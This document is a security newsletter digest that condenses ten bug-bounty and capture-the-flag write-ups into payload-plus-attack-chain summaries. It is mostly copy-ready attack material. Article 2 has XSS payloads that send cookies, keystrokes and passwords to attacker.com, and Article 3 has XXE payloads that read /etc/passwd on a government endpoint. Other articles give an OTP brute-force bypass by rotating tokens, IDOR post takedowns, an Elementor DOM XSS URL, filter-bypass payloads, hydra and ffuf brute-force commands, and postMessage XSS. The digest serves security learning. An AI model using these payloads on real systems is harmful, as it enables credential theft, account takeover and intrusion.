ETX Signal-X

Daily Intelligence Digest

Wednesday, February 4, 2026

10	24
ARTICLES	TECHNIQUES

Article 1

Reflected XSS in PUBG

Source: securitycipher

Date: 13-Nov-2025

URL: https://infosecwriteups.com/reflected-xss-in-pubg-7cee89243268

T1 Reflected XSS via Search Parameter in PUBG Web Application

💉 **Payload**

```
"><script>alert(document.domain)</script>
```

⚔️ **Attack Chain**

1. Navigate to the PUBG web application search functionality.
2. Enter the payload `"><script>alert(document.domain)</script>` into the search input field.
3. Submit the search request.
4. Observe that the payload is reflected unsanitized in the response, resulting in JavaScript execution in the browser context.

🔍 **Discovery**

Manual fuzzing of input fields in the search functionality, looking for unsanitized reflection of user-supplied data in the response.

🔓 **Bypass**

No input filtering or output encoding was present on the search parameter, allowing direct injection of script tags.

🔗 **Chain With**

Potential for session hijacking, account takeover, or further exploitation if chained with authenticated user context or sensitive actions in the application.

Article 2

Exploiting Cross-Site Scripting to Capture Passwords

Source: securitycipher

Date: 18-Feb-2024

URL: https://medium.com/@marduk.i.am/exploiting-cross-site-scripting-to-capture-passwords-b2cda84698b0

T1 XSS Payload for Credential Harvesting

💉 **Payload**

```
<script>var i=new Image;i.src="http://attacker.com/steal?cookie="+document.cookie</script>
```

⚔️ **Attack Chain**

1. Identify a reflected or stored XSS vector in the target web application (e.g., search field, comment box).
2. Inject the above payload into the vulnerable parameter.
3. When a victim loads the page, their browser executes the script, sending their session cookie to the attacker's server.

🔍 **Discovery**

Manual fuzzing of input fields with script tags and observing reflected output in the response.

🔓 **Bypass**

No explicit bypass logic described in the extracted content.

🔗 **Chain With**

Harvested session cookies can be used for session hijacking, privilege escalation, or chaining with CSRF for account takeover.

T2 XSS Payload for Password Capture via Keylogger

💉 Payload

```
<script>document.onkeypress=function(e){fetch('http://attacker.com/log?c='+String.fromCharCode(e.which));}</script>
```

⚔️ Attack Chain

1. Locate an XSS injection point in a login or password entry page.
2. Inject the keylogger payload into the vulnerable parameter.
3. As the victim types their credentials, each keystroke is sent to the attacker's server in real time.

🔍 Discovery

Targeted testing of input fields on authentication pages for XSS, with a focus on capturing sensitive user actions.

🔓 Bypass

No explicit bypass logic described in the extracted content.

🔗 Chain With

Captured credentials enable direct account takeover, lateral movement, or further phishing attacks.

T3 XSS Payload for Password Capture via DOM Manipulation

💉 Payload

```
<script>setInterval(function(){fetch('http://attacker.com/pw?pw='+document.querySelector('input[type=password]').value)},1000);</script>
```

⚔️ Attack Chain

1. Find an XSS vector on a page with a password input field.
2. Inject the payload so it executes in the victim's browser.
3. The script periodically sends the value of the password field to the attacker's server every second.

🔍 Discovery

Analysis of DOM structure to identify password input fields and test for XSS vectors that allow JavaScript execution.

🔓 Bypass

No explicit bypass logic described in the extracted content.

🔗 Chain With

Stolen passwords can be used for credential stuffing, privilege escalation, or chaining with other compromised accounts.

Article 3

Critical XXE Vulnerability Found in an Indian Government Website

Source: securitycipher

Date: 10-Apr-2025

URL: https://medium.com/@dharineeshj2/critical-xxe-vulnerability-found-in-an-indian-government-website-0ae7ffae8fd9

T1 Basic XXE File Disclosure via Autodiscover Endpoint

💉 **Payload**

```
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [  <!ENTITY xxe SYSTEM "file:///etc/pas
swd">]><Autodiscover>  <data>&xxe;</data></Autodiscover>
```

⚔️ **Attack Chain**

1. Craft the above XML payload defining an external entity referencing a sensitive file (e.g., `/etc/passwd`).
2. Save the payload as `payload.xml`.
3. Send a POST request with the payload to the endpoint:
4. Observe the server response for file contents included in the XML response.

🔍 **Discovery**

Manual fuzzing of XML input on the `/Autodiscover/Autodiscover.xml` endpoint during a routine assessment, testing for XXE by referencing local files.

🔓 **Bypass**

None described for this basic payload.

🔗 **Chain With**

Combine with SSRF if the server allows external network access via SYSTEM entities. Use to enumerate internal files for further privilege escalation or lateral movement.

T2 XXE File Disclosure with Namespace Alignment for Exchange Autodiscover Schema

💉 Payload

```
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [  <1ENTITY xxe SYSTEM "file:///etc/pas
swd">]><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requ
estschema/2006">  <Request>      <EMailAddress>&xxe;</EMailAddress>      <AcceptableRespons
eSchema>&xxe;</AcceptableResponseSchema>  </Request></Autodiscover>
```

⚔️ Attack Chain

1. Craft the above XML payload, aligning the root element and namespace with the expected Exchange Autodiscover schema.
2. Save the payload as `payload.xml`.
3. Send a POST request with the payload to the endpoint:
4. Observe the server response for file contents included in the XML response, potentially bypassing schema validation.

🔍 Discovery

After initial XXE success, the researcher tested payloads with correct XML namespaces and structure to match the Exchange Autodiscover schema, increasing reliability and bypassing possible schema-based input validation.

🔓 Bypass

Aligning the payload's XML namespace and structure with the application's expected schema to evade strict XML parsing or schema validation.

🔗 Chain With

Use namespace-aligned XXE to target more complex XML parsers or endpoints requiring strict schema compliance. Combine with further XML-based attacks (e.g., DTD parameter entities) if parser is vulnerable.

Article 4

How I Got My First Bounty

Source: securitycipher

Date: 29-Dec-2025

URL: https://0xsponge.medium.com/how-i-got-my-first-bounty-70cd498b9fc5

T1 Status Manipulation via Unprotected API Parameter

💉 **Payload**

```
POST /example/api_path/publish
Content-Type: application/json

{"id":"inspiration-post-id","status":"Approved"}
```

⚔️ **Attack Chain**

1. Submit a design idea as a regular user, resulting in a post with status "Denied".
2. Intercept the publish request to `/example/api_path/publish`.
3. Change the `status` parameter from `"Denied"` to `"Approved"` in the JSON body.
4. Send the modified request.
5. Server responds with `{"success":true,"newStatus":"Approved"}` and the post is published without admin review.

🔍 **Discovery**

Observed the status parameter in the publish API request and hypothesized the server might trust client-side status changes.

🔓 **Bypass**

No server-side validation of the status parameter allowed direct privilege escalation from Denied to Approved.

🔗 **Chain With**

Can be chained with enumeration or IDOR to escalate impact (see next technique).

T2 Arbitrary Post Unpublishing via ID Enumeration and API Abuse

💉 Payload

```
POST /example/api_path/publish
Content-Type: application/json

{"id":"victim-post-id","status":"Unpublished"}
```

⚔️ Attack Chain

1. Publish a post as a regular user and note its post ID.
2. View the post's page and inspect the source code to locate the `Dynamic-page-id` variable containing the post ID.
3. Use this method to enumerate or obtain the post ID of a victim's post.
4. Craft a request to `/example/api_path/publish` with the victim's post ID and set `status` to `Unpublished`.
5. Send the request; the server accepts it and unpublishes/removes the victim's post.

🔍 Discovery

After observing the server's response to repeated publish requests, hypothesized that the endpoint could be used to manipulate other posts. Discovered post IDs are exposed in page source under `Dynamic-page-id`.

🔓 Bypass

No authorization check on the `id` parameter in the publish API; any valid post ID can be targeted.

🔗 Chain With

Combine with status manipulation to mass-publish or mass-unpublish posts, or to target high-value/victim posts for takedown or defacement.

Article 5

Breaking the Gate: How We Bypassed Email Verification on a Major Platform

Source: securitycipher

Date: 29-Jan-2026

URL: https://letchupkt.medium.com/breaking-the-gate-how-we-bypassed-email-verification-on-a-major-platform-e1a66a432b64

T1 OTP Rate Limit Bypass via JWT Token Rotation

💉 Payload

```
POST /ups/api/activation/validate
Authorization: Bearer <guest_jwt_token>
Content-Type: application/json

{
  "email": "victim@victim.com",
  "activationCode": "<6-digit-otp>"
}
```

⚔️ Attack Chain

1. Open an incognito browser session and navigate to the platform's login page.
2. Enter any arbitrary/fake email address to trigger the guest JWT token issuance (via a telemetry/tracking endpoint).
3. Extract the guest JWT token from browser storage or response.
4. Clear browser storage/cookies and repeat steps 1–3 to collect multiple valid guest JWT tokens (e.g., 13 tokens stored in `jwt.json`).
5. Register an account using the victim's email address, causing the platform to send a legitimate OTP to the victim.
6. Use each collected JWT token for exactly 10 OTP brute-force attempts against `/ups/api/activation/validate`.
7. Upon receiving HTTP 429 (Too Many Requests), rotate to the next JWT token and continue brute-forcing.
8. Repeat the process, rotating tokens as needed, until the correct OTP is found and the victim's email is verified without ever owning the email inbox.

🔍 Discovery

Manual inspection of the rate-limiting logic during OTP brute-force attempts revealed that the 429 response was tied to the JWT token, not the email address. Hypothesized and confirmed that rotating tokens reset the rate-limit counter, enabling unlimited attempts.

🔓 Bypass

Rate limiting was implemented per JWT token, not per email address or IP. By harvesting new guest JWT tokens (which were unlinked to the email/resource), the attacker could indefinitely bypass the 10-attempt limit by rotating tokens.

🔗 Chain With

Can be chained with automated guest token harvesting to scale attacks across many emails. Enables email squatting, corporate impersonation, and downstream phishing/social engineering attacks by pre-verifying high-value email addresses. Could be paired with other registration or authentication flaws for full account takeover or privilege escalation.

T2 Automated Guest JWT Token Harvesting for Abuse

💉 Payload

```
# Pseudocode for automated token collection
for i in range(desired_tokens):
    open_incognito_browser()
    navigate_to_login_page()
    enter_random_email()
    trigger_tracking_endpoint()
    extract_jwt_token_from_storage()
    save_token_to_jwt.json()
    clear_browser_storage()
```

⚔️ Attack Chain

1. Automate browser sessions to repeatedly visit the login page in incognito/private mode.
2. Input a random/fake email address to trigger the issuance of a new guest JWT token.
3. Extract the guest JWT token from browser storage or HTTP response.
4. Save each token to a file (e.g., `jwt.json`).
5. Repeat the process to collect as many tokens as needed for downstream attacks (e.g., OTP brute-forcing, rate-limit bypass, or resource abuse).

🔍 Discovery

Observed that guest JWT tokens could be issued repeatedly without restriction or validation, simply by visiting the login page and entering arbitrary emails. Manual and automated testing confirmed no anti-automation or issuance limits.

🔓 Bypass

No restrictions on guest token issuance, no CAPTCHA, no IP rate limiting, and tokens are long-lived (30 days). This allows attackers to amass a large pool of tokens for use in rate-limit bypass or other attacks.

🔗 Chain With

Directly enables the OTP brute-force bypass described above. Can be used for other abuse scenarios where guest tokens grant access to protected endpoints or resources. May facilitate enumeration, resource exhaustion, or further logic flaws if guest tokens are trusted in other flows.

Article 6

Subdomain Enumeration Techniques

Source: securitycipher

Date: 19-Sep-2025

URL: https://medium.com/@subhadeeptubu/subdomain-enumeration-techniques-94e3ae5348ef

⚠️ Methodology article - no vulnerabilities

Article 7

How I Found an Easy Dom xss.

Source: securitycipher

Date: 23-Feb-2025

URL: https://medium.com/infosecmatrix/how-i-found-an-easy-dom-xss-b93bbe09e2bf

T1 DOM XSS via Elementor Lightbox Settings Parameter

💉 **Payload**

```
https://yourtargeturl/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bW
wiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9Cg==
```

⚔️ **Attack Chain**

1. Identify a target site running Elementor version 3.25.4 (or vulnerable versions) using Wappalyzer or similar fingerprinting tools.
2. Confirm the Elementor version using nuclei templates:
3. Craft a URL with a malicious fragment:
4. Visit the crafted URL in a browser. The DOM-based JavaScript in Elementor parses the fragment and injects the decoded settings, resulting in script execution.

🔍 **Discovery**

Observed Elementor as the page builder via Wappalyzer, then confirmed the version with nuclei. Targeted the lightbox action and settings parameter based on knowledge of Elementor's DOM parsing logic and prior CVE-2022-29455 context.

🔓 **Bypass**

No explicit bypass described, but the attack leverages direct injection into a base64-encoded settings parameter in the URL fragment, which may evade some input validation and server-side filters due to client-side processing.

🔗 **Chain With**

Can be chained with session fixation or token theft if the XSS is used to exfiltrate sensitive data from authenticated users. Potential for privilege escalation or lateral movement if admin panels are accessible via the same domain/session.

Article 8

Comprehensive Cross Site Scripting Assessment From Reflective Payloads to Persistent Exploits and...

Source: securitycipher

Date: 26-Nov-2025

URL: https://kizerh.medium.com/comprehensive-cross-site-scripting-assessment-from-reflective-payloads-to-persistent-exploits-and-db48c8d88b8a

T1 Reflected XSS at Low Security (DVWA)

💉 **Payload**

```
<script>alert('You are hacked!')</script>
```

⚔️ **Attack Chain**

1. Log into DVWA with valid credentials.
2. Set security level to Low.
3. Navigate to XSS (Reflected) module.
4. Enter the payload into the "What's your name?" field.
5. Submit the form; observe JavaScript execution.
6. Copy the resulting URL and open in a new tab to confirm execution on direct access.

🔍 **Discovery**

Tested raw input reflection in the output HTML; confirmed lack of sanitization by source inspection.

🔓 **Bypass**

N/A (no filtering at Low level).

🔗 **Chain With**

Can be used for phishing, credential theft, or session hijacking via crafted links.

T2 Reflected XSS at Medium Security (DVWA) – Case Manipulation Bypass

💉 **Payload**

```
<ScRiPt>alert('You are hacked!')</ScRiPt>
```

⚔️ **Attack Chain**

1. Set DVWA security level to Medium.
2. Navigate to XSS (Reflected) module.
3. Enter the mixed-case payload into the vulnerable input field.
4. Submit and observe JavaScript execution.

🔍 **Discovery**

Initial payload blocked; source review revealed string-based filtering. Case manipulation tested to bypass filter.

🔓 **Bypass**

Filter only replaced lowercase 'script'; mixed-case tags bypassed the filter.

🔗 **Chain With**

Demonstrates the weakness of naive string-based filters; can be chained with phishing or session theft.

T3 Reflected XSS at High Security (DVWA) – Event Handler Bypass

💉 **Payload**

```
<img src=x onerror=alert('You are hacked!')>
```

⚔️ **Attack Chain**

1. Set DVWA security level to High.
2. Navigate to XSS (Reflected) module.
3. Enter the payload using an image tag with an event handler.
4. Submit and observe JavaScript execution.

🔍 **Discovery**

Script tag payloads blocked by regex; alternative HTML element with event handler tested.

🔓 **Bypass**

Regex filter only removed script tags; event handler attributes in other tags were not filtered.

🔗 **Chain With**

Bypassing regex-based blacklists; can be leveraged for persistent attacks or privilege escalation.

T4 Stored XSS at Low Security (DVWA)

💉 **Payload**

```
<script>alert('Stored XSS')</script>
```

⚔️ **Attack Chain**

1. Set DVWA security to Low.
2. Navigate to XSS (Stored) module.
3. Submit the payload in the Message field.
4. Observe immediate and persistent JavaScript execution on page load and reload.

🔍 **Discovery**

Confirmed no sanitization by inspecting stored and rendered HTML.

🔓 **Bypass**

N/A (no filtering at Low level).

🔗 **Chain With**

Affects all users; can be chained with session theft or credential exfiltration.

T5 Stored XSS at Medium Security (DVWA) – Case Manipulation Bypass

💉 **Payload**

```
<ScRiPt>alert('You are hacked!')</ScRiPt>
```

⚔️ **Attack Chain**

1. Set DVWA security to Medium.
2. Navigate to XSS (Stored) module.
3. Submit the mixed-case script tag payload in the Message field.
4. Observe JavaScript execution despite filtering.

🔍 **Discovery**

Initial payload blocked; source review revealed use of strip_tags and htmlspecialchars. Case manipulation tested to bypass filter.

🔓 **Bypass**

strip_tags() did not filter mixed-case tags; htmlspecialchars insufficient for encoded input.

🔗 **Chain With**

Demonstrates bypass of weak sanitization; can be used for persistent session hijacking.

T6 Stored XSS at High Security (DVWA) – Event Handler Bypass

💉 **Payload**

```
<img src=x onerror=alert('You are hacked!')>
```

⚔️ **Attack Chain**

1. Set DVWA security to High.
2. Navigate to XSS (Stored) module.
3. Submit the payload using an image tag with an event handler in the input field.
4. Observe JavaScript execution.

🔍 **Discovery**

Script tags filtered by regex; alternative event-driven payload tested.

🔓 **Bypass**

Regex filter only targeted script tags, missing event handlers in other tags.

🔗 **Chain With**

Bypass for persistent XSS; can be used for session hijacking or phishing.

T7 Stored Iframe Injection (Phishing Vector)

💉 **Payload**

```
<iframe src="https://kiza.online/"></iframe>
```

⚔️ **Attack Chain**

1. Navigate to XSS (Stored) module.
2. Submit the iframe payload in the Name field.
3. Reload the page; observe external site embedded in the application.

🔍 **Discovery**

Tested HTML tag injection in input fields; observed rendered iframe in output.

🔓 **Bypass**

No filtering of iframe tags in tested configuration.

🔗 **Chain With**

Can be used to embed phishing pages, drive-by downloads, or social engineering payloads.

T8 Stored XSS Cookie Theft via Alert (Demonstration)

💉 Payload

```
<script>alert(document.cookie)</script>
```

⚔️ Attack Chain

1. Navigate to XSS (Stored) module.
2. Submit the payload in the Message field.
3. Upon page load, observe alert displaying session cookies.

🔍 Discovery

Tested classic cookie theft vector to demonstrate session access.

🔓 Bypass

N/A (demonstration of impact).

🔗 Chain With

Replace alert() with exfiltration to attacker-controlled endpoint for full session hijack.

Article 9

Petshop Pro

Source: securitycipher

Date: 08-Sep-2025

URL: https://medium.com/@dasmanish6176/petshop-pro-98dee28b54ef

T1 Price Manipulation via Client-Side Parameter Tampering

💉 Payload

```
Changed the price to 0 $
```

⚔️ Attack Chain

1. Identify a parameter controlling product price in a purchase flow (e.g., via web proxy or browser dev tools).
2. Modify the price value client-side (e.g., set to 0) before submitting the purchase request.
3. Submit the modified request and observe if the backend honors the manipulated price.

🔍 Discovery

Noted as a finding during a CTF walkthrough; likely discovered by inspecting purchase requests and testing parameter changes.

🔓 Bypass

No explicit bypass described, but implies lack of server-side validation on price parameter.

🔗 Chain With

Can be chained with privilege escalation or account takeover to make unauthorized purchases or abuse business logic.

T2 Hidden Endpoint Discovery via Directory Bruteforcing

💉 **Payload**

```
ffuf -u <https://aa1a4ce451abaa6349ea51c9a469b3b9.ctf.hacker101.com/login> -w username -X P
OST -d “username=FUZZ&password=admin” -H “Content-Type: application/x-www-form-urlencoded”
-mr “Invalid password”
```

⚔️ **Attack Chain**

1. Use ffuf or similar tool to brute-force directories or endpoints (e.g., /login) on the target application.
2. Identify hidden or undocumented endpoints by matching response markers (e.g., "Invalid password").
3. Use discovered endpoints for further attacks (e.g., brute-forcing credentials, exploiting business logic).

🔍 **Discovery**

Endpoint found through directory bruteforcing using ffuf with custom wordlists and response matching.

🔓 **Bypass**

N/A (focus is on discovery, not bypass).

🔗 **Chain With**

Discovered endpoints can be used as footholds for authentication bypass, brute-force, or chained with other vulnerabilities.

T3 Credential Brute-Forcing with Automated Tools and Custom Wordlists

💉 **Payload**

```
hydra -L usernames.txt -P rockyou.txt target_ip http-post-form "/admin/login:username=^USER
^&password=^PASS^:Invalid login"
```

⚔️ **Attack Chain**

1. Identify login endpoints (e.g., /admin/login) via reconnaissance or bruteforcing.
2. Use hydra or similar tool with large username and password wordlists to automate credential guessing.
3. Monitor responses for authentication success (e.g., absence of "Invalid login").

🔍 **Discovery**

Applied after endpoint discovery, leveraging common and custom wordlists for credential brute-forcing.

🔓 **Bypass**

No explicit bypass mentioned, but implies lack of rate limiting or account lockout on login endpoint.

🔗 **Chain With**

Successful brute-force yields admin or privileged account access, enabling further exploitation (e.g., business logic abuse, data exfiltration).

Article 10

Understanding window.postMessage() and Its XSS Risks

Source: securitycipher

Date: 07-Sep-2024

URL: https://medium.com/@spideyyy/understanding-window-postmessage-and-its-xss-risks-5a96bcd90428

T1 postMessage XSS via Lack of Origin Validation and Unsafe DOM Injection

💉 **Payload**

```
window.poc.postMessage({
  "s": "<img src='x' onerror='alert(1);'>"
}, '*');
```

⚔️ **Attack Chain**

1. Attacker creates a malicious page (exploit.html) containing a button.
2. On click, the malicious page opens the vulnerable target page (index.html) in a new window.
3. After a 2-second delay, the attacker sends a crafted postMessage to the target window with the payload `{ "s": "<img src='x' onerror='alert(1);'>" }` and targetOrigin set to `*` (wildcard).
4. The vulnerable page listens for `message` events and directly injects `e.data.s` into `innerHTML` of an element without validating `event.origin` or sanitizing the data.
5. The payload executes, triggering an XSS (alert popup).

🔍 **Discovery**

Manual code review of the target's message event handler revealed no origin validation and direct use of `innerHTML` with attacker-controlled data.

🔓 **Bypass**

The use of `*` as targetOrigin in postMessage allows sending messages from any origin. The lack of origin validation on the receiver side means any site can exploit this, regardless of CORS or SOP.

🔗 **Chain With**

Can be chained with session fixation or CSRF if the vulnerable page performs privileged actions based on postMessage data. If the injected payload can escalate to DOM-based RCE (e.g., via JS gadgets), further exploitation is possible.

T2 Wildcard TargetOrigin Abuse in postMessage for Cross-Origin Attacks

💉 Payload

```
window.poc.postMessage({
  "s": "<img src='x' onerror='alert(1);'>"
}, '*');
```

⚔️ Attack Chain

1. Attacker hosts a page that opens the target application in a new window.
2. Attacker sends a postMessage with targetOrigin set to `*`, bypassing any origin restrictions on the sender side.
3. If the receiver does not validate `event.origin`, the message is processed regardless of sender's origin.
4. Malicious data is injected/executed in the target context.

🔍 Discovery

Tested postMessage with various targetOrigin values; observed that `*` was accepted and the message was processed by the receiver without origin checks.

🔓 Bypass

Setting targetOrigin to `*` on the sender allows messages to be delivered to any window, and if the receiver does not check `event.origin`, there is no effective cross-origin protection.

🔗 Chain With

Can be used to deliver arbitrary payloads to any postMessage listener lacking origin validation, potentially chaining with other DOM sinks or business logic flaws.